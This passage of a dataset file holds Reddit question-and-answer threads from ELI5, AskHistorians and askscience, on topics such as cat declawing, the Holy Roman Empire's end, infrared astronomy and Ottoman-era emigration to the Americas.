were in pain or felt more vulnerable, they will try to hide it as much as possible and this can (as I mentioned before) lead to a change in disposition and an increase in aggression. \n\nAll in all the debate is probably never going to end, and when it cones down to it it's a medically unnecessary surgery that the outcome of which can't be predicted. Your cat might do great, your cat might become a completely different animal. If you're declawing solely for the purpose of saving furniture then maybe it's time to look into more scratching posts + enrichment items, as well as trimming claws. If that's too much trouble, reevaluate whether your home and life are suited for a cat. ", "I think a lot of people are missing the whole reason it's cruel.. Frankly, 'de-claw' is a misnomer, or rather, it doesn't give you the whole picture. \n\nDeclawing isn't a procedure where they go in and surgically remove the nail/claw, it's a procedure that essentially removes the portion of bone at there forefront of the cat's claw that would be the equivalent of removing the tips of your fingers at the first joint...\n\nIt's frankly sick, please re-evaluate before you put something through that  kind of torture. Perhaps another pet might be best for you.", "well, all my cats were inside cats only. and when we got them, I was a small child, so it was for my safety. they didn't have any bad effects that I know of,  so I believe it was done properly. I think it's mean if they are outside cats, but mine were inside only so they weren't in any danger where they needed their claws, and they all lived happy, healthy lives :) I was cat scratch-free, and so was the furniture, haha. \nedit: my parents had them declawed for mine and the furniture's safety- I, of course, didn't know about any pain they could have afterwards. ", "I got my cat when she was 2 years old, previously declawed by her former owners. She is the sweetest cat I've ever had (both cats my parents have/childhood pets have their claws, ones a bitch, the other is sweet but shy). My cat has no major behavioral issues, but I also dont know what my cat was like pre-declaw. \n\nI will say this however: when she gets feisty, she will nip at me with teeth, not her feet. She has never broken skin, but cat bites are far more dangerous than cat scratches. Also, declawing doesnt prevent cats from destroying furniture. Most vets that do declaw procedures only do it for front feet. My cat has scratched our couch with her back feet when she freaks out or quickly pounces off the couch. \n\nHow about adopt a cat thats a few years old that was previously declawed? Their personality is tupically set at that age, and theyre less annoying and needy, in my opinion. \n\nETA: my cat is indoor only.", "I just watched a documentary about this recently. I believe it was called \"the Paw Project.\" Dr. Jennifer Conrad (veterinarian) who seems to have spearheaded the documentary made it seem as though--regardless of the declawing process--the claws still grow, but they grow back into the tissue kind of like an ingrown nail on a human, but entirely within the paw structure. As a result it makes it painful for the cats to walk and in larger cats the pressure can drive them to not walk to eat or defend themselves resulting in sickness or death. Aside from the pain they would otherwise feel. \n\nThe documentary also made it seem as though there was no benefit to declawing as it often made house cats more unruly than prior (e.g. peeing on furniture and being more aggressive in terms of biting) and only stood to benefit the vets that performed the surgeries financially. \n\nI didn't check this out too heavily, but here is a link to the site for the film and the advocacy of Dr. Conrad and many other vets here in CA. \n\n_URL_0_\n", "I have 2 declawed cats and one cat with its claws because he was too old for the operation, they all seem fine and perfectly healthy. The declawed cats are not anymore aggressive or anti social. The one cat doesnt stop meowing wanting to be pet and fed treats. As for hunting animals they still fuck up every animal they find. (They keep the back claws in so a swift rake to the throat can destroy life itself) My cats are happy as shit and can fuck anyones day up if they look tasty. So besides sometimes jumping on the bed and slipping right off, the cats are perfectly fine it seems.", "I believed the tip of the fingers analogy when I got a cat with claws after having a cat who had had them removed as a kitten.  She could use her clawed paws so deftly-- tossing a little, soft ball around unlike anything I had ever seen my declawed cat do, with the same type deftness a human would have.  It did seem like my declawed cat had spent her whole life wearing mittens.  Clipping my cat's nails regularly and buying her a cardboard scratching post means that she hasn't been destructive with her claws and that she has some means to defend herself.", "We adopted a middle aged cat from our local humane society,  and he had been declawed by his previous owner. He is a very calm cat that never bites and is very lovable. He started waiting by the door to escape to the outside world and now we constantly find dead animals that he leaves for us. Everything from mice up to cotton tail rabbits. So it would never be my choice to declaw a cat, and i cant speak to pain/recovery first hand, but if all I had to go on was my experience with this cat, he is a perfectly capable feline. That being said: I know it isnt recommended to let a declawed cat out but he is VERY persistent and has adapted well. And I have no idea how long it took him to learn to hunt in his current state. He certainly aquired it prior to living with us. ", "I think we're going about this the wrong way.\n\nI know OP is asking for information in order to gain a better understanding of the issue. First and foremost, I want to say that I think that this is an admirable thing to do. \n\nNow, if one were to look at the responses from the people that are for declawing, one would conclude that their argument is a  utilitarian one. Their argument states that declawing is an acceptable means for controlling a cat's behavior because data seems to say that it does not result in any long term pain or discomfort for the cat, while accomplishing the owners primary objective which is protecting property.  They argue that there is nothing unethical about declawing a cat if it is done humanely and with the cat's comfort and safety in mind. In their view, there is no loss for the cat, and a net gain for the owner.\n\nI'm not saying I agree with this point of view; I'm merely summarizing the argument. \n\nThose on the other side have a simpler, but equally powerful argument: declawing a cat is cruel and inhumane. Their argument is that declawing causes pain and psychological distress for a cat, as it tends to try to behave as if it had claws only to be frustrated at its inability to complete the task. They argue that it leaves a cat defenseless and unable to provide for itself,  making it particularly vulnerable if it is an outdoor cat. They also argue that it can make them more aggressive and territorial, leading to a loss for the owner as this behavior can injure them and destroy their property. At the very least, they argue, the data in favor of the practice is suspect, possibly discrediting the utilitarian argument anyway. In this way,  they are really making an argument that declawing is not beneficial to the cat or the owner. \n\nHowever, I don't think that utility is the frame of reference through which we should approach the topic. Let's pretend for a moment that declawing a cat would not cause any discomfort to the animal. Let's also pretend that it would not put the cat at a disadvantage or modify its behavior. \n\nAt this point, I believe the question becomes: is it ethical and morally just to modify another living thing for a frivolous convenience? \n\nLet's not kid ourselves: it is a frivolous convenience. No one is forced to get a cat. One would not be acquiring this animal for any essential or even convenient function. A pet cat is a luxury. A luxury that is inconvenient due to one's choice of home furnishings. \n\nThat being established, what justification is there for one to modify a cat when there may be a more suitable pet available? Perhaps, if the furnishings are so valuable, a pet is not the best idea. \n\nThis is different than spaying or neutering, as this modification is to prevent the suffering and death of homeless cats,  not to protect furniture. \n\nWhen we look at it that way, declawing a cat is a petty expression of selfishness and indicative of an inability to empathize with other living beings at best--and a cruel, torturous act at worst. \n\nSource: I have a cat and posed this question to myself after getting him, as it was suggested to me that declawing would save my furniture. I did not declaw my cat.  I have since successfully taught my cat not to destroy my property. It's possible. To me,  you either put in the work or look for a different pet. \n\nFish won't mess up your couch unless you help them. ", " >  For many years now, animal rights people have lied and deceived the public into believing that declawing cats is the most inhumane and horrible procedure on the planet.\n\nThat mocking exaggeration doesn't sound very neutral to me...and that's just the second sentence.", "I have adopted several cats that have been declawed (front paws, only) and they have been completely fine and have lived long, full lives. They don't seem to behave or act any different than my cats with claws.\n\nIt is extremely important that they are totally indoor cats, because they can't protect themselves as well, but staying indoors also prolongs their lives in other ways. I feel bad about not letting all of my cats out to live their natural life, but I figure the alternative would have almost surely been death if I hadn't adopted them. ", "Not all people exactly have a choice in the matter of owning a cat. Here's my story of owning a cat. Two years ago I purchased a house, and not ever intending on getting a cat, I prepared my new home with new furnishings as people do when they buy a home. I spent a total of $1500 on two very nice, high end leather sofas. It's what I wanted, and they look to this day, amazing.\n\nEnter a random Friday night about 2 months ago. Some ass hat decided to dump his/her cat in the woods next to the parking lot of the restaurant I was eating at. As I finished my meal and approached my car, I noticed the eyes of a very small kitten staring at me in the woods. She was starved, cold, wet, and nearly dead. She naturally came to me, as if saying \"Help me please.\" She was absolutely pathetic. So I took her home and after a bath and a good feeding, she was in a lot better mood.\n\nI took her to the vet and had all her shots done and got the spay. I posted her on Facebook, talked to everyone I know, and they talked to everyone they knew about finding a home for this cat. No leads. Nothing. For two months I have had this cat, that I don't necessarily want, but I don't necessarily want to see harmed or live at a center her whole life and wind up God knows where.\n\nSo with that, she's damaged my once perfect couches to the point I've had to keep her in my bathroom indefinitely. Is that a way for her to live? No. For the record, I follow Jackson Galaxy, I feed her organic wet food, play with her constantly. I've bought cat towers, scratchers, and toys out the wazoo, and she STILL wants to rake my leather.\n\nOr I could just safely get her laser declawed, give her run of the house when I'm there or not. She'd never get scolded, or squirted with water, and she could just live her life out in my home with plenty of love and affection. Or she could get hit in a parking lot 2 months ago. In my eyes, declawing is humane if it allows the cat to live a life surrounded by love.\n\nI haven't done it yet. The little booger is still sitting in my bathroom, but I never had any intentions of owning a cat at all. I like her. She doesn't bother me, aside from wrecking shop on my non-cat-proof home. Do I undo my home and have it all wrecked and keep what is essentially a stray cat dumped on me, send her to a shelter to have her wind up in the arms of someone who would possibly not love and care for her in the way I've done, or just declaw her and let her keep the life and surroundings she's gotten used to surrounded by lots of love and regular health check ups and live hopefully a long comfortable life? I'm open to suggestions. I feel very backed into a corner since that day. My couches are worth the repair costs, but not if she is just going to rake her claws into it the day I let her out of the bathroom.\n\nI've had one cat who had the laser declaw on the front. He was walking around like nothing happened. He still \"scratched\" and his eyes rolled back like it still felt amazing to him. He had no trouble jumping around and our relationship was very close. I cried like a baby when he died. It was like losing a person. I can't even type this without welling up. If he had has his claws, I would have probably had to put him in a shelter or get a foster to take him. So I'm very aware that cats, without their claws, aren't drastically altered. You aren't removing their arms or eyes. People on here make it sound like you are putting your pet through a wood chipper just to get a good laugh. I could have just left her in that parking lot, but I'm a compassionate person when it comes to animals. I just don't want a pet who runs my life and destroys my home."]}, "title_urls": [], "selftext_urls": ["http://www.oocities.org/declawing/"], "answers_urls": [[], [], [], [], [], [], ["http://www.pawproject.org"], [], [], [], [], [], [], []]}
{"q_id": "7mb6d5", "title": "During the Slavery era of the United States, if a black person were to get their freedom lawfully, what would prevent slavers from recapturing and reshackling the person?", "selftext": "Basically the title. If the social status was against black people as the norm, could slavers forcibly take this person again? Could a freed former slave defend themselves legally if this were to happen?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7mb6d5/during_the_slavery_era_of_the_united_states_if_a/", "answers": {"a_id": ["drsqcpp", "drt3bsy"], "score": [46, 13], "text": ["This was essentially what happened to Solomon Northrup, who was a free black man living in New York. He was kidnapped and spent 12 years as a slave in Louisiana before finally re-gaining his freedom through the intervention of some of his friends. \n\nThe kidnapping was illegal, but because a black man could not testify against a white man in court, the slave trader who sold him was charged but acquitted due to lack of evidence. The men who kidnapped him were also not charged, mainly due to a confusion over which region had jurisdiction.\n\nNorthrup wrote a memoir, 12 Years A Slave that was recently made into a movie [of the same name](_URL_0_). I have not seen the movie so I can't comment on its historical accuracy, but supposedly it's very good (and won the Best Picture Oscar).\n\nSo, at least for one man, your scenario was very possible, and while technically the whole thing was illegal, no one was punished.", "Myself and /u/sowser answered a similar question recently [here](_URL_0_).\n\nThe short answer is that slaves who gained their freedom had to rely on either a court deed that stated they were free (and that people would respect that document, which occasionally they didn't) or on the good will of their neighbors and anti-slavery advocates to protect them should they be captured and shipped south. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.imdb.com/title/tt2024544/"], ["https://en.reddit.com/r/AskHistorians/comments/7gv83c/whenever_slaves_bought_back_their_freedom_what/"]]}
{"q_id": "5jz1p6", "title": "if the solar system moves so fast, how come astronauts don't just drift away almost instantly when they leave orbit?", "selftext": "A quick google search revealed that the solar system moves at 515,000 MPH approximately, so bearing that in mind, wouldn't it basically pass any astronaut or craft right by as soon as they left the Earth's orbit and weren't \"attached\" to anything?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5jz1p6/eli5_if_the_solar_system_moves_so_fast_how_come/", "answers": {"a_id": ["dbk1utt", "dbk1wj1", "dbk2r78"], "score": [5, 3, 3], "text": ["Conservation of momentum. It's not as if the astronaut isn't in all the same gravity wells as the planet and the sun, and the local cluster, and the galaxy itself, and it isn't as if not being in the center of one of those gravity wells will change the fact that he was already moving mostly at that same speed. He's already going at the same speed as the planet he is orbiting, or was orbiting, and the other gravity wells pull him along all the same according to the mass of the center of gravity and their distance from it. It's the same as asking, \"when I jump out of a moving car, why can I just land feet first on the road and walk away?\"", "Everything on the Earth is moving at the same velocity as the solar system, in addition to whatever velocity they have relative to the Earth, and that's the velocity that the astronauts start with. Remember, things keep moving at a constant velocity unless something acts to slow them down. What would slow the astronauts down? They're in space.", "First, reference frames. As the other posters have mentioned, there is no difference between inertial reference frames. So when you're in a train traveling at 100 m/s, there's no change in the laws of physics, and you won't stop until a force acts on you.\n\nBut there's another thing to consider: rotational frames of reference **are not inertial**. When you move in a circular path, you *must* accelerate, and there must be a force acting on you. And when you're in a non-inertial reference frame, there are fictictious forces.\n\nIn this case, there is a centrifugal force directed out of the circle. But it is equal in magnitude to mv^2 /r. Though their velocity may be large, the distance to the center of mass of the galaxy is so massive that it negligible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2npl8j", "title": "Francis II abdicated as Holy Roman Emperor, ending the HRE. He did so after his defeat at the hands of Napoleon, but why exactly?", "selftext": "Did he feel that after the defeat of the HRE against a common-man-led revolutionary empire, he could not in good conscience maintain the title? Or was there a build-up to the dissolution of the HRE before Napoleon ever came to power?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2npl8j/francis_ii_abdicated_as_holy_roman_emperor_ending/", "answers": {"a_id": ["cmfq4in"], "score": [14], "text": ["Francis II dissolved the Holy Roman Empire only a few days after the formation of the Confederation of the Rhine by Napoleon, and the announcement from many of the smaller German states that they were leaving the Holy Roman Empire in favour of the Confederation of the Rhine. Napoleon had actually issued an ultimatum demanding that Francis step down, and while that was definitely a factor, there were other reasons for the fall of the Holy Roman Empire.\n\nWith the utter humiliation of Austria by Napoleon, and the organization of the Confederation of the Rhine by Napoleon many of the Smaller German states left the Holy Roman Empire. With the rise of Prussia, Germany had really been split into three spheres of influence, Prussia, Austria, and the rest of Germany. Many of the smaller German states threw their lot in with Napoleon and joined the Confederation of the Rhine for numerous reasons, one they feared Napoleon and his armies, secondly they figured that by accepting Napoleon's protection in the Confederation they might better position themselves for the future with or without Napoleon; basically they hoped build themselves up and prepare for the future. Finally, the reason many of the smaller German states joined the Holy Roman Empire and still participated was because it provided protection from bigger states, Austria had basically made the title of Holy Roman Emperor into a hereditary title, so any member of the Holy Roman Empire was basically guaranteed the protection (in theory anyways) of Austria. Napoleon showed that the protection offered by the Holy Roman Empire was not clearly all it was cracked up to be. Furthermore, after the [treaty of Luneville](_URL_1_) states in the Empire and outside began to just annex the various small German states. Austria, Prussia, France, Bavaria, Baden, Wurrtemburg all gained substantial territory, many of the smaller German states were wiped of the map. It really undermined the structure of the Empire that member states and the leader of the Empire could just at any moment rearrange the territory of the Empire.\n\nBeyond that though, the Holy Roman Empire had simply just become stagnant, the Peace of Westphalia in 1648 that ended the Thirty Years War took away the ability of the Emperor to decide on religious matters in Germany which was a major part of the original structure of the Empire. There had been attempts to reform the Empire since around 1790, specifically with regards to secularization and federation. This had promoted some, such as [Karl Theodor Anton Maria von Dalberg](_URL_0_), to think the Reich was collapsing and thus they tried to save it. Dalberg was a high ranking official in the Holy Roman Empire and was the head of one of the Archbishopric states (small little religious states that were in the Empire). Basically he saw that no one in the Empire, including the Emperor had the will to actually go through with the reforms, so he turned to Napoleon to save the Empire, by offering members of Napoleon's family high ranking offices in the Empire. Napoleon wanted none of this, he had seen the issues that being Emperor had caused Austria, and he preferred to keep his little system of Client States intact rather going and getting involved in the decaying Empire. Napoleon planned to just let the Empire die off. Dalberg ended up jumping ship and joining the Confederation of the Rhine, seeing it as the successor to the Holy Roman Empire. He tried to do what he had tried to do in the Holy Roman Empire and reform the Confederation of the Rhine, but everyone kinda just ignored him. The German princes who were leaving the Empire said that \n\n >  They\nhad effectively been abandoned by both major German powers; \u2018in vain\u2019, they\ndeclared, \u2018did one look for Germany in the heart of the German polity\u2019; those\nwhose lands lay nearest to France had had no choice but to seek peace with France;\nnow they were all resolved to seek the protection of the Emperor of France.\"\n\nIn the closing days of the Reich there was some attempt to mould it to fit the new political situation. Bavaria proposed that the Empire turn into a permanent German federal state of sorts, with a figurehead Emperor chosen by election, the Reichstag would be transformed into a permanent body of representatives. Prussia tried to build their own quasi Empire in the North of Germany, both suggestions didn't pan out. There were reports from Austrian officials saying that the Holy Roman Empire had served its purpose and was no longer worth maintaining in the face of French pressure. For example one was released by an Austrian politician and official in the Holy Roman Empire named Joseph Hass:\n\n >  Foreign power and politics\u2019 had now achieved what the unruly spirit of the German princes and their mistaken\nsense of freedom had failed to do over centuries: the unity of the German Reich was\ndestroyed. \u2018The German people no longer constitute a state\u2019, he wrote, \u2018not because\nof the desire for independence of its Estates, but rather in order to impose a foreign\nyoke all the more rigorously.\u2019 Virtually nothing was left of the system of the Reich;\nthe emperor now only had authority in the Archchancellor\u2019s lands, in Western\nPomerania, Mecklenburg, and the Hanseatic Cities\u2014\u2018for as long as these lands\nretain their present rulers\u2019.\n\nFrancis decided to relinquish the Crown and end the Empire, but only after making sure that he was confirmed as the hereditary Emperor of Austria and all the lands that went with it. Francis didn't reference the French ultimatum, simply saying that he had tried to fulfill his duties as Emperor. He stated that since he had lost the confidence of the Electors and Princes he would abdicate and release all servants of the Reich from their duties. He said:\n\n >  \u2018for as long as we can live up to\nthe confidence placed in us by the Electors, princes and Estates and other members\nof the Reich, and for as long as we are able to satisfy the obligations we have\nassumed\u2019.\n\n >  we hereby decree that\nwe regard the bond which until now tied us to the state of the Reich as dissolved\u2019.\n\nIn the mind of Francis, it was better to end the Empire and confirm his own power as Emperor of Austria, than risk the Empire falling into the hands of Napoleon, or one of the Electors. An Empire dominated by Napoleon was an Empire Francis did not want to be apart of. \n\nMy main source for this would be volume II of the book \"Germany and the Holy Roman Empire\" by Joachim Whaley. But the book is very long and isn't the most riveting read, so if you're looking for something to read on the matter, I'd advise looking for the book \"The Holy Roman Empire 1495-1806\" by Peter H. Wilson"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Karl_Theodor_Anton_Maria_von_Dalberg", "http://en.wikipedia.org/wiki/Treaty_of_Lun%C3%A9ville"]]}
{"q_id": "2fvsiy", "title": "Is there a link between the decimal system and the # of digits on our hands? (Ie did we choose decimal because we evolved counting using digits of the flesh kind?)", "selftext": "I'm trying to learn hexadecimal at present and wondered... Perhaps our decimal (base 10) counting system is rooted in our having 10 fingers?\n\n(Perhaps it also explains why the concept of zero came after counting, yet counting preceded writing?)\n\nIs base 10 inherently easier or would a *base X* (binary, hexadecimal) taught from an early age be feasible?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2fvsiy/is_there_a_link_between_the_decimal_system_and/", "answers": {"a_id": ["ckdhb9r"], "score": [6], "text": ["1) not all cultures historically have used decimal. Mayan used vigecimal (base-20), and the ancient Mesopotamians (starting with the Sumerians) famously used Sexagesimal (base-60) (why hours have 60 minutes, and 60 seconds to a minute, and 360 degrees to a circle). And if you consider the ancient Romans also had intermediate values for 5s 50s and such, their system wasn't exactly base-10 (though without a 0 marker, it's a bit awkward to talk about bases in any event).\n\n2) Yes, it is generally assumed to be because of 5 fingers and toes that we see 5s and 10s in many numeric systems. [Wiki even seems to suggest that one of the other cultures using octal (base-8) did so because of counting the spaces between fingers](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Decimal#Other_bases"]]}
{"q_id": "4i3kcl", "title": "when a charity says that money is being collected for \"research\", what specifically does my donation pay for?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4i3kcl/eli5_when_a_charity_says_that_money_is_being/", "answers": {"a_id": ["d2uraas"], "score": [5], "text": ["It pays for the salaries and equipment to run science laboratories. Most of the expense is for skilled staff, such as scientists, doctors, and technicians."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8vqkc7", "title": "why is everyone freaking out about demarcus cousins joining gsw?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8vqkc7/eli5_why_is_everyone_freaking_out_about_demarcus/", "answers": {"a_id": ["e1pycv9"], "score": [2], "text": ["DeMarcus Cousins is arguably the best player at his position and signed with the Warriors yesterday. In 2016 the Warriors made history by having the best regular season record of all time (73-9). That summer they added the second best player in the league and won 2 very easy championships in 2017 and 2018 making the NBA boring and predictable.\n\nPeople are upset because the rich get richer. Player salary more or less helps balance out teams (so all the good players can\u2019t be on one team.) Players worse than DeMarcus are making 10million-24million a year.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "45q6j5", "title": "why does the greying of hair often start at the temples?", "selftext": "I understand that pigmentation slows and eventually stops as we get older, but what I don't understand is why the temples (and with men often their beard) lose pigmentation first, rather than any other part of the body.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45q6j5/eli5_why_does_the_greying_of_hair_often_start_at/", "answers": {"a_id": ["czzs2kf", "czztbq4", "czztd7l", "czztfn6"], "score": [21, 12, 39, 5], "text": ["I think that is just where gray is most visible. I used to be a hairstylist,  and in my experience there are usually gray hairs where it would be almost impossible for you to see them yourself. You might even have then and not kniw, depending on their location. People tend to fixate on the hair they can see from the front.", "I started going grey at 16 for some reason.  I got a 'skunk stripe' as my friends called it in the center of my head.  Not all the way back, just a patch right in the front, dead center where it was visible.  Then not much progress for about ten years before in my mid/late twenties my temples started going grey.  But even in those intervening years between my teens and twenties, I'd get a few new ones every year that would cause that stripe in the middle to expand.  It wasn't till my thirties before my beard got it's first grey hair for some reason.", "I don't have the answer to your great question, but I thought you might be interested to know that the bone underneath the temples, named the temporal bone, is thought by some to be named that way because it shows the first sign of the passage of time (aging, as evidenced by the graying hair at the temples). ", "Fun fact, there is no grey hair. When the Melantonin production stops, it is replaced with airbubbles. That makes the hair look white. Mixed with the pigmented hairs on your head or beard, makes it appear greyish."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "152dia", "title": "[Victorian times] Flirting between men and women, did they really use a lot of props? Courtship in general.", "selftext": "In the following [link](_URL_0_) there are images of text of how people were said to flirt in the Victorian times.\n\nHats, gloves, fans, parasols are all suggested and the items seem to have very specific meanings depending on how they are carried.\n\nMy questions are:\n\nHow accurate/true are they? Are they a sort of equivalent to modern day playing with you hair = interested, leaning in close = also interested. Wedding ring = married. It feels a bit like reading a very old Cosmo magazine.\n\nDid Victorians not have wedding rings? It just seems odd that you had to swing you fan a certain way to signal you were married.\n\nIf they are true/accurate, which part of society would these sort of \"signals\" be found in? Middle class? Very rich upper middle class? \n\nIf they are not true how did courtship occur? Was it very much like today, where you sort of end up agreeing that you could get along with someone, and so you got married and had babies. Did it vary from social layer to social layer?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/152dia/victorian_times_flirting_between_men_and_women/", "answers": {"a_id": ["c7inu27", "c7iuztr"], "score": [12, 2], "text": ["The link is very interesting, thank you for sharing. I'm torn over how much credence to give it - it could certainly be genuine advice, but on the other hand it's so exaggeratedly detailed that it feels like it could almost be a parody of etiquette guides or over-mannered young people. \n\nIf you want to read up more on non-verbal flirtation and courting, [the language of flowers](_URL_0_) might be a good place to start.", "I am curious as to what publication this was in. It could be a ladies handbook. I wonder how similar this would be to today's women's magazine advice."]}, "title_urls": [], "selftext_urls": ["http://www.thefrisky.com/photos/a-simple-100-point-guide-to-flirting-like-a-victorian/victorian-flirtation_012312/"], "answers_urls": [["http://en.wikipedia.org/wiki/Language_of_flowers"], []]}
{"q_id": "1xw00j", "title": "How is infrared radiation used for exploring the universe?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xw00j/how_is_infrared_radiation_used_for_exploring_the/", "answers": {"a_id": ["cff5jy7"], "score": [2], "text": ["So let's see, here's a lot to discuss and I'm sure there will be more full answers than mine, but let me know if you need more.\n\nIn visible we see hot objects, excited objects and objects which scatter visible light. Objects have to be thousands of degrees before they emit most of their radiation in the visible region. Things that don't emit thermally like nebulae need quite a lot of energy to radiate in the visible, similarly with scattered light objects they need an energy source. So right off the bat infrared allows us to see cold objects like brown dwarfs, cool stars, forming stars like Herbig-Haro objects and asteroids. In more recent years it has allowed the study of circumstellar disks where planets are forming or have formed. In the infrared planets around distant stars are also brighter with respect to their host star, detecting them in the infrared can be more straight forward in some respects.\n\nThe other point is that in visible dust scatters light very efficiently, the galaxy can block our view of much of it. Infrared is useful in this context because it more readily penetrates dust. At even longer wavelengths into the far infrared the dust itself can be observed directly. Dust is important in studying the evolution of galaxies. Herschel is a spacecraft built by the European Space Agency which studied the far infrared with the largest mirror in space. It's efforts will live on long after it in studying galaxy evolution and star formation.\n\nThen there are the really big problems, redshift. In the distant universe the more distant an object the further the radiation is shifted to longer wavelengths. The goal in much of astronomy is to probe the first galaxies and eventually the first stars that formed out of the cosmic dark ages. However there is a problem the peak emission for massive stars has been shifted into the infrared. This is a task for the James Webb Space Telescope and the new generation of titanic ground based telescopes.\n\nGround based telescopes have another reason to like the infrared and this time it's a technological limitation. The atmosphere blurs the images from big telescopes but in the last 20 years technology to counteract this has been developed called adaptive optics. Adaptive optics works on the basis of many actuators bending a small mirror to undo the changes from the atmosphere very rapidly. The requirements for this are less in the infrared and so the technology started here and will move to longer wavelengths. This combined with the brightness of planets in the infrared means that most direct expo planet imaging instruments are infrared. Similarly astronomical interferometers which combine telescopes to make larger virtual telescopes are more often infrared than visible partly because the requirements are lower.\n\nIt should be noted there are prices to pay in the infrared. The longer the wavelength (not really in radio though) the more difficult it is to suppress emission from the telescope. There are also regions of the infrared spectrum where atmospheric absorption is high and telescopes must either work in the bands they can or go to space which is expensive.\n\nAt the moment there is arguably more of a focus on the infrared than viable. But most ground based observatories do both. The big change in the last few decades has certainly been, in part, due to the radio advances in infrared detectors. I can point you at some links later if you would like."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9nya3e", "title": "Why some Arab, Turkish and other Middle Eastern peoples immigrated to Brazil and other American countries in the 19th/early 20th centuries? Were these immigrants (or a portion of them) Muslim? If so, did they convert?", "selftext": "From my understanding, Brazil received a significant number of immigrants from places which, at the time, were part of the Ottoman Empire. For example, I heard that the town I live in received Turkish immigrants while a nearby town received Lebanese immigrants. What are the reasons for this immigration?\n\n & #x200B;\n\nSecondly, Brazil has a largely Christian population, while these former Ottoman territories have a mostly Muslim population. However, the religious makeup of the descendants of these immigrants are (AFAIK) the same as the rest of Brazil. Now, I know Lebanon has many Christians and the nationality of these Turkish immigrants might not be actually Turkish, as they were all part of the same Empire. So my second question is: were a significant portion of these immigrants Muslim, or were they all Christian? If there was a significant Muslim portion, I assumed they mostly converted, as their descendants are not (AFAIK) Muslim. If so, were they pressured directly or indirectly to convert when they arrived?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9nya3e/why_some_arab_turkish_and_other_middle_eastern/", "answers": {"a_id": ["e7qbova"], "score": [5], "text": ["I'll try to answer your question, sorry if it doesn't satisfy you. My answer will be about the immigration to America generally, since there's a lack of literature regarding Brazil specifically\n\n > What are the reasons for this immigration\n\nA lot of reasons, but mostly to improve their economic conditions.  During the last half of the 19th century, changes in the economic and ethnocultural structure of Ottoman society coupled with the industrialization of North America and the rise of large agricultural enterprises in South America incite people in the Ottoman Empire to migrate, just like everywhere else. That era marked the pouring of millions of Crimean, Balkan, and Caucasian refugees to Ottoman lands which was later settled and given lands to cultivate. While this resulted in an agricultural revolution and overall increase of revenue in Ottoman agricultural economy, not all people benefited from this. The coastal areas with relatively rich agricultural lands and ports developed rapidly, but the interior due to lack of transportation and other causes, did not immediately feel the benefit of the socioeconomic boom occurring along the privileged coasts. In some areas of Anatolia and Syria the immigrant Bosnians, Circassians, Cretans, and Turks were prospering, while some Syrians, tied to their old land and unable to accept innovative methods remained economically stagnant and socially and culturally conservative. On the other hand, there were also immigrants who, unable to adapt to their new homes, did not prosper. In addition, the rapid occupational transformation of the cities left many traditional craftsmen and professionals unemployed because their skills had become obsolete in the new society. Census by the Ottoman government between 1880 and 1900 shows that practitioners of old crafts and professions are dwindling in number, but on the other hand many new professions like working in transportation, banking, insurance and the like are expanding. The desire to escape from a condition of poverty or to remedy one's deteriorating economic situation by moving to a place that offered the possibility of bettering oneself was a powerful one. The early Syrian migrants to the Americas were mainly from the lower socioeconomic classes, some even sold almost all of their belongings simply to pay for their passage. If those emigrants were successful, they will usually return home to buy land, put up large houses, and become a rural upper class who then later tell tales of the wealth of the Americas and entice more people to emigrate drawn by the prospect of increasing their wealth. Between 1820 and 1920, around 1,2 million people from the Ottoman lands emigrated to the New World\n\n > Were a significant portion of these immigrants Muslim, or were they all Christian? If there was a significant Muslim portion, I assumed they mostly converted, as their descendants are not (AFAIK) Muslim. If so, were they pressured directly or indirectly to convert when they arrived?\n\nFrom 1,2 million number i said earlier, approximately 15% or roughly 200,000 were Muslims. Most of them converted, mostly because of pressure towards Muslims at the time which i'll focus on the United States. In the US, stories about oppression, injustice, and maltreatment at the hands of the Ottoman government and their Muslim citizens not supported by the facts were published in the press of the United States and elsewhere, often backed up by reports from missionaries or local priests who were prone to interpret any act of authority on the part of the Ottoman government as \"oppression\" and any demand for the payment of legitimate taxes as \"extortion\". On the turn of the 20th century, immigrant intellectuals fanned this further by publishing journals and write books espousing various brands of nationalism and to consider themselves the political spokesmen for those back home. One of the techniques for arousing Christian sympathy was to claim to have been driven out of Jerusalem by fanatic Muslims, even though the writer's original home had been elsewhere in Syria or Anatolia and far from Jerusalem.\n\nWith anti-Muslim sentiments in the United States, many Muslim (or Turkish) emigrants decided to identify as \"Albanian\",  \"Bulgarian\", \"Serbian\", and \"Syrian\" Christian to not arouse the interest of Ottoman officials or jeopardize their entry into their new countries which they soon discovered preaching religious equality in public but was intolerant of it in private.  Many took on Christian names, and it is certain that a large number actually converted to Christianity (or their children did). Some Turkish Muslim children also were converted through being adopted by Bulgarian, Serbian, or Bosnian families, after their parents had been murdered by nationalist terrorist bands or slaughtered by Bulgarians and Serbians in Macedonia during the Balkan war, and these Muslim children entered the United States under European Christian headings when their adoptive families immigrate.  There were also other inducements to conversion other than the simple desire to blend in with the rest of society, these were quite attractive to the point that in a number of cases Christian immigrants claimed that they were Muslims and expected to be induced to \"convert\" at some gain for 